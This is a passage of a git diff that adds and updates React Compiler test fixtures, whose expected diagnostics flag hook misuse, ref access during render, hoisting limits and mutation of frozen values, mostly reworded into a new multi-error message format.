-    |   ^^^^ Todo: Unsupported declaration type for hoisting. variable "x" declared with FunctionDeclaration (3:3)
-  4 |   function x(p) {
-  5 |     p.foo();
-  6 |   }
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoisted-function-declaration.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoisted-function-declaration.js
deleted file mode 100644
index 9e5fec3f361e..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoisted-function-declaration.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function component(a) {
-  let t = { a };
-  x(t); // hoisted call
-  function x(p) {
-    p.foo();
-  }
-  return t;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoisting-simple-function-declaration.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoisting-simple-function-declaration.expect.md
index 91f8e67d0c69..d323477c175d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoisting-simple-function-declaration.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoisting-simple-function-declaration.expect.md
@@ -24,13 +24,22 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
-  3 |     return x;
-  4 |   }
-> 5 |   return baz(); // OK: FuncDecls are HoistableDeclarations that have both declaration and value hoisting
-    |          ^^^^^ Todo: Unsupported declaration type for hoisting. variable "baz" declared with FunctionDeclaration (5:5)
-  6 |   function baz() {
-  7 |     return bar();
-  8 |   }
+Found 1 error:
+
+Todo: Support functions with unreachable code that may contain hoisted declarations
+
+error.hoisting-simple-function-declaration.ts:6:2
+   4 |   }
+   5 |   return baz(); // OK: FuncDecls are HoistableDeclarations that have both declaration and value hoisting
+>  6 |   function baz() {
+     |   ^^^^^^^^^^^^^^^^
+>  7 |     return bar();
+     | ^^^^^^^^^^^^^^^^^
+>  8 |   }
+     | ^^^^ Support functions with unreachable code that may contain hoisted declarations
+   9 | }
+  10 |
+  11 | export const FIXTURE_ENTRYPOINT = {
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-call-freezes-captured-identifier.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-call-freezes-captured-identifier.expect.md
new file mode 100644
index 000000000000..2b60b2ec7cf5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-call-freezes-captured-identifier.expect.md
@@ -0,0 +1,48 @@
+
+## Input
+
+```javascript
+// @enableTransitivelyFreezeFunctionExpressions
+import {setPropertyByKey, Stringify, useIdentity} from 'shared-runtime';
+
+function Foo({count}) {
+  const x = {value: 0};
+  /**
+   * After this custom hook call, it's no longer valid to mutate x.
+   */
+  const cb = useIdentity(() => {
+    setPropertyByKey(x, 'value', count);
+  });
+
+  x.value += count;
+  return <Stringify x={x} cb={cb} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{count: 1}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value previously passed as an argument to a hook is not allowed. Consider moving the modification before calling the hook.
+
+error.hook-call-freezes-captured-identifier.ts:13:2
+  11 |   });
+  12 |
+> 13 |   x.value += count;
+     |   ^ value cannot be modified
+  14 |   return <Stringify x={x} cb={cb} />;
+  15 | }
+  16 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-call-freezes-captured-identifier.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-call-freezes-captured-identifier.tsx
new file mode 100644
index 000000000000..b71626a435b7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-call-freezes-captured-identifier.tsx
@@ -0,0 +1,20 @@
+// @enableTransitivelyFreezeFunctionExpressions
+import {setPropertyByKey, Stringify, useIdentity} from 'shared-runtime';
+
+function Foo({count}) {
+  const x = {value: 0};
+  /**
+   * After this custom hook call, it's no longer valid to mutate x.
+   */
+  const cb = useIdentity(() => {
+    setPropertyByKey(x, 'value', count);
+  });
+
+  x.value += count;
+  return <Stringify x={x} cb={cb} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{count: 1}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-call-freezes-captured-memberexpr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-call-freezes-captured-memberexpr.expect.md
new file mode 100644
index 000000000000..a7f36aac18bb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-call-freezes-captured-memberexpr.expect.md
@@ -0,0 +1,74 @@
+
+## Input
+
+```javascript
+// @enableTransitivelyFreezeFunctionExpressions
+import {mutate, Stringify, useIdentity} from 'shared-runtime';
+
+function Foo({count}) {
+  const x = {value: 0};
+  /**
+   * After this custom hook call, it's no longer valid to mutate x.
+   */
+  const cb = useIdentity(() => {
+    x.value++;
+  });
+
+  x.value += count;
+  return <Stringify x={x} cb={cb} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{count: 1}],
+};
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: This value cannot be modified
+
+Modifying a value previously passed as an argument to a hook is not allowed. Consider moving the modification before calling the hook.
+
+error.hook-call-freezes-captured-memberexpr.ts:13:2
+  11 |   });
+  12 |
+> 13 |   x.value += count;
+     |   ^ value cannot be modified
+  14 |   return <Stringify x={x} cb={cb} />;
+  15 | }
+  16 |
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `x` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.hook-call-freezes-captured-memberexpr.ts:9:25
+   7 |    * After this custom hook call, it's no longer valid to mutate x.
+   8 |    */
+>  9 |   const cb = useIdentity(() => {
+     |                          ^^^^^^^
+> 10 |     x.value++;
+     | ^^^^^^^^^^^^^^
+> 11 |   });
+     | ^^^^ This function may (indirectly) reassign or modify `x` after render
+  12 |
+  13 |   x.value += count;
+  14 |   return <Stringify x={x} cb={cb} />;
+
+error.hook-call-freezes-captured-memberexpr.ts:10:4
+   8 |    */
+   9 |   const cb = useIdentity(() => {
+> 10 |     x.value++;
+     |     ^ This modifies `x`
+  11 |   });
+  12 |
+  13 |   x.value += count;
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-call-freezes-captured-memberexpr.jsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-call-freezes-captured-memberexpr.jsx
new file mode 100644
index 000000000000..2a94559c1f02
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-call-freezes-captured-memberexpr.jsx
@@ -0,0 +1,20 @@
+// @enableTransitivelyFreezeFunctionExpressions
+import {mutate, Stringify, useIdentity} from 'shared-runtime';
+
+function Foo({count}) {
+  const x = {value: 0};
+  /**
+   * After this custom hook call, it's no longer valid to mutate x.
+   */
+  const cb = useIdentity(() => {
+    x.value++;
+  });
+
+  x.value += count;
+  return <Stringify x={x} cb={cb} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{count: 1}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-property-load-local-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-property-load-local-hook.expect.md
index a1706079e3da..3f8e6403aff0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-property-load-local-hook.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-property-load-local-hook.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 function useFoo() {}
 useFoo.useBar = function () {
-  return "foo";
+  return 'foo';
 };
 
 function Foo() {
@@ -23,15 +23,29 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
+Found 2 errors:
+
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+
+error.hook-property-load-local-hook.ts:7:12
    5 |
    6 | function Foo() {
 >  7 |   let bar = useFoo.useBar;
-     |             ^^^^^^^^^^^^^ InvalidReact: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values (7:7)
-
-InvalidReact: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values (8:8)
+     |             ^^^^^^^^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
    8 |   return bar();
    9 | }
   10 |
+
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+
+error.hook-property-load-local-hook.ts:8:9
+   6 | function Foo() {
+   7 |   let bar = useFoo.useBar;
+>  8 |   return bar();
+     |          ^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+   9 | }
+  10 |
+  11 | export const FIXTURE_ENTRYPOINT = {
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-property-load-local-hook.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-property-load-local-hook.js
index 088bef3d4a6d..8a2da50d7c11 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-property-load-local-hook.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-property-load-local-hook.js
@@ -1,6 +1,6 @@
 function useFoo() {}
 useFoo.useBar = function () {
-  return "foo";
+  return 'foo';
 };
 
 function Foo() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-ref-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-ref-value.expect.md
new file mode 100644
index 000000000000..cf9a6a5b4c1f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-ref-value.expect.md
@@ -0,0 +1,52 @@
+
+## Input
+
+```javascript
+import {useEffect, useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef();
+  useEffect(() => {}, [ref.current]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.hook-ref-value.ts:5:23
+  3 | function Component(props) {
+  4 |   const ref = useRef();
+> 5 |   useEffect(() => {}, [ref.current]);
+    |                        ^^^^^^^^^^^ Cannot access ref value during render
+  6 | }
+  7 |
+  8 | export const FIXTURE_ENTRYPOINT = {
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.hook-ref-value.ts:5:23
+  3 | function Component(props) {
+  4 |   const ref = useRef();
+> 5 |   useEffect(() => {}, [ref.current]);
+    |                        ^^^^^^^^^^^ Cannot access ref value during render
+  6 | }
+  7 |
+  8 | export const FIXTURE_ENTRYPOINT = {
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-ref-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-ref-value.js
new file mode 100644
index 000000000000..3276e4b4b44a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-ref-value.js
@@ -0,0 +1,11 @@
+import {useEffect, useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef();
+  useEffect(() => {}, [ref.current]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ReactUseMemo-async-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ReactUseMemo-async-callback.expect.md
index db616600e80d..733a62a0a2e9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ReactUseMemo-async-callback.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ReactUseMemo-async-callback.expect.md
@@ -15,16 +15,38 @@ function component(a, b) {
 ## Error
 
 ```
+Found 2 errors:
+
+Error: useMemo() callbacks may not be async or generator functions
+
+useMemo() callbacks are called once and must synchronously return a value.
+
+error.invalid-ReactUseMemo-async-callback.ts:2:24
   1 | function component(a, b) {
 > 2 |   let x = React.useMemo(async () => {
     |                         ^^^^^^^^^^^^^
 > 3 |     await a;
     | ^^^^^^^^^^^^
 > 4 |   }, []);
-    | ^^^^ InvalidReact: useMemo callbacks may not be async or generator functions (2:4)
+    | ^^^^ Async and generator functions are not supported
   5 |   return x;
   6 | }
   7 |
+
+Error: Found missing memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI.
+
+error.invalid-ReactUseMemo-async-callback.ts:3:10
+  1 | function component(a, b) {
+  2 |   let x = React.useMemo(async () => {
+> 3 |     await a;
+    |           ^ Missing dependency `a`
+  4 |   }, []);
+  5 |   return x;
+  6 | }
+
+Inferred dependencies: `[a]`
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-during-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-during-render.expect.md
index c5e8b68c0400..94a9a984c2be 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-during-render.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-during-render.expect.md
@@ -15,10 +15,18 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-access-ref-during-render.ts:4:16
+  2 | function Component(props) {
   3 |   const ref = useRef(null);
-  4 |   const value = ref.current;
-> 5 |   return value;
-    |          ^^^^^ InvalidReact: Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef). Cannot access ref value at freeze $22:TObject<BuiltInRefValue> (5:5)
+> 4 |   const value = ref.current;
+    |                 ^^^^^^^^^^^ Cannot access ref value during render
+  5 |   return value;
   6 | }
   7 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-reducer-init.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-reducer-init.expect.md
new file mode 100644
index 000000000000..647cf28f7b35
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-reducer-init.expect.md
@@ -0,0 +1,45 @@
+
+## Input
+
+```javascript
+import {useReducer, useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef(props.value);
+  const [state] = useReducer(
+    (state, action) => state + action,
+    0,
+    init => ref.current
+  );
+
+  return <Stringify state={state} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-access-ref-in-reducer-init.ts:8:4
+   6 |     (state, action) => state + action,
+   7 |     0,
+>  8 |     init => ref.current
+     |     ^^^^^^^^^^^^^^^^^^^ Passing a ref to a function may read its value during render
+   9 |   );
+  10 |
+  11 |   return <Stringify state={state} />;
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-reducer-init.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-reducer-init.js
new file mode 100644
index 000000000000..df10b8a9ebd0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-reducer-init.js
@@ -0,0 +1,17 @@
+import {useReducer, useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef(props.value);
+  const [state] = useReducer(
+    (state, action) => state + action,
+    0,
+    init => ref.current
+  );
+
+  return <Stringify state={state} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-reducer.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-reducer.expect.md
new file mode 100644
index 000000000000..33fcd6d188c5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-reducer.expect.md
@@ -0,0 +1,41 @@
+
+## Input
+
+```javascript
+import {useReducer, useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef(props.value);
+  const [state] = useReducer(() => ref.current, null);
+
+  return <Stringify state={state} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-access-ref-in-reducer.ts:5:29
+  3 | function Component(props) {
+  4 |   const ref = useRef(props.value);
+> 5 |   const [state] = useReducer(() => ref.current, null);
+    |                              ^^^^^^^^^^^^^^^^^ Passing a ref to a function may read its value during render
+  6 |
+  7 |   return <Stringify state={state} />;
+  8 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-reducer.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-reducer.js
new file mode 100644
index 000000000000..135a78e0baef
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-reducer.js
@@ -0,0 +1,13 @@
+import {useReducer, useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef(props.value);
+  const [state] = useReducer(() => ref.current, null);
+
+  return <Stringify state={state} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-render-mutate-object-with-ref-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-render-mutate-object-with-ref-function.expect.md
new file mode 100644
index 000000000000..73cead6affc9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-render-mutate-object-with-ref-function.expect.md
@@ -0,0 +1,37 @@
+
+## Input
+
+```javascript
+import {useRef} from 'react';
+
+function Component() {
+  const ref = useRef(null);
+  const object = {};
+  object.foo = () => ref.current;
+  const refValue = object.foo();
+  return <div>{refValue}</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-access-ref-in-render-mutate-object-with-ref-function.ts:7:19
+   5 |   const object = {};
+   6 |   object.foo = () => ref.current;
+>  7 |   const refValue = object.foo();
+     |                    ^^^^^^^^^^ This function accesses a ref value
+   8 |   return <div>{refValue}</div>;
+   9 | }
+  10 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-render-mutate-object-with-ref-function.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-render-mutate-object-with-ref-function.js
new file mode 100644
index 000000000000..9d3faac764b5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-render-mutate-object-with-ref-function.js
@@ -0,0 +1,9 @@
+import {useRef} from 'react';
+
+function Component() {
+  const ref = useRef(null);
+  const object = {};
+  object.foo = () => ref.current;
+  const refValue = object.foo();
+  return <div>{refValue}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-state-initializer.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-state-initializer.expect.md
new file mode 100644
index 000000000000..a10db96463da
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-state-initializer.expect.md
@@ -0,0 +1,41 @@
+
+## Input
+
+```javascript
+import {useRef, useState} from 'react';
+
+function Component(props) {
+  const ref = useRef(props.value);
+  const [state] = useState(() => ref.current);
+
+  return <Stringify state={state} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-access-ref-in-state-initializer.ts:5:27
+  3 | function Component(props) {
+  4 |   const ref = useRef(props.value);
+> 5 |   const [state] = useState(() => ref.current);
+    |                            ^^^^^^^^^^^^^^^^^ Passing a ref to a function may read its value during render
+  6 |
+  7 |   return <Stringify state={state} />;
+  8 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-state-initializer.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-state-initializer.js
new file mode 100644
index 000000000000..c3f233023ec8
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-state-initializer.js
@@ -0,0 +1,13 @@
+import {useRef, useState} from 'react';
+
+function Component(props) {
+  const ref = useRef(props.value);
+  const [state] = useState(() => ref.current);
+
+  return <Stringify state={state} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-aliased-ref-in-callback-invoked-during-render-.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-aliased-ref-in-callback-invoked-during-render-.expect.md
index b8ceb6cd0fb7..09a64d4bab26 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-aliased-ref-in-callback-invoked-during-render-.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-aliased-ref-in-callback-invoked-during-render-.expect.md
@@ -5,12 +5,12 @@
 // @validateRefAccessDuringRender
 function Component(props) {
   const ref = useRef(null);
-  const renderItem = (item) => {
+  const renderItem = item => {
     const aliasedRef = ref;
     const current = aliasedRef.current;
     return <Foo item={item} current={current} />;
   };
-  return <Items>{props.items.map((item) => renderItem(item))}</Items>;
+  return <Items>{props.items.map(item => renderItem(item))}</Items>;
 }
 
 ```
@@ -19,10 +19,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-aliased-ref-in-callback-invoked-during-render-.ts:9:33
    7 |     return <Foo item={item} current={current} />;
    8 |   };
->  9 |   return <Items>{props.items.map((item) => renderItem(item))}</Items>;
-     |                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^ InvalidReact: Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef) (9:9)
+>  9 |   return <Items>{props.items.map(item => renderItem(item))}</Items>;
+     |                                  ^^^^^^^^^^^^^^^^^^^^^^^^ Cannot access ref value during render
   10 | }
   11 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-aliased-ref-in-callback-invoked-during-render-.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-aliased-ref-in-callback-invoked-during-render-.js
index 0c87668c6672..fd5b5ff3013d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-aliased-ref-in-callback-invoked-during-render-.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-aliased-ref-in-callback-invoked-during-render-.js
@@ -1,10 +1,10 @@
 // @validateRefAccessDuringRender
 function Component(props) {
   const ref = useRef(null);
-  const renderItem = (item) => {
+  const renderItem = item => {
     const aliasedRef = ref;
     const current = aliasedRef.current;
     return <Foo item={item} current={current} />;
   };
-  return <Items>{props.items.map((item) => renderItem(item))}</Items>;
+  return <Items>{props.items.map(item => renderItem(item))}</Items>;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-array-push-frozen.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-array-push-frozen.expect.md
index 0440117adbfc..a401df523c62 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-array-push-frozen.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-array-push-frozen.expect.md
@@ -15,10 +15,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX.
+
+error.invalid-array-push-frozen.ts:4:2
   2 |   const x = [];
   3 |   <div>{x}</div>;
 > 4 |   x.push(props.value);
-    |   ^ InvalidReact: Updating a value used previously in JSX is not allowed. Consider moving the mutation before the JSX (4:4)
+    |   ^ value cannot be modified
   5 |   return x;
   6 | }
   7 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assign-current-inferred-ref-during-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assign-current-inferred-ref-during-render.expect.md
new file mode 100644
index 000000000000..293596a54037
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assign-current-inferred-ref-during-render.expect.md
@@ -0,0 +1,36 @@
+
+## Input
+
+```javascript
+// @flow @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender
+import {makeObject_Primitives} from 'shared-runtime';
+
+component Example() {
+  const fooRef = makeObject_Primitives();
+  fooRef.current = true;
+
+  return <Stringify foo={fooRef} />;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+  4 | component Example() {
+  5 |   const fooRef = makeObject_Primitives();
+> 6 |   fooRef.current = true;
+    |   ^^^^^^^^^^^^^^ Cannot update ref during render
+  7 |
+  8 |   return <Stringify foo={fooRef} />;
+  9 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assign-current-inferred-ref-during-render.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assign-current-inferred-ref-during-render.js
new file mode 100644
index 000000000000..39df293ba625
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assign-current-inferred-ref-during-render.js
@@ -0,0 +1,9 @@
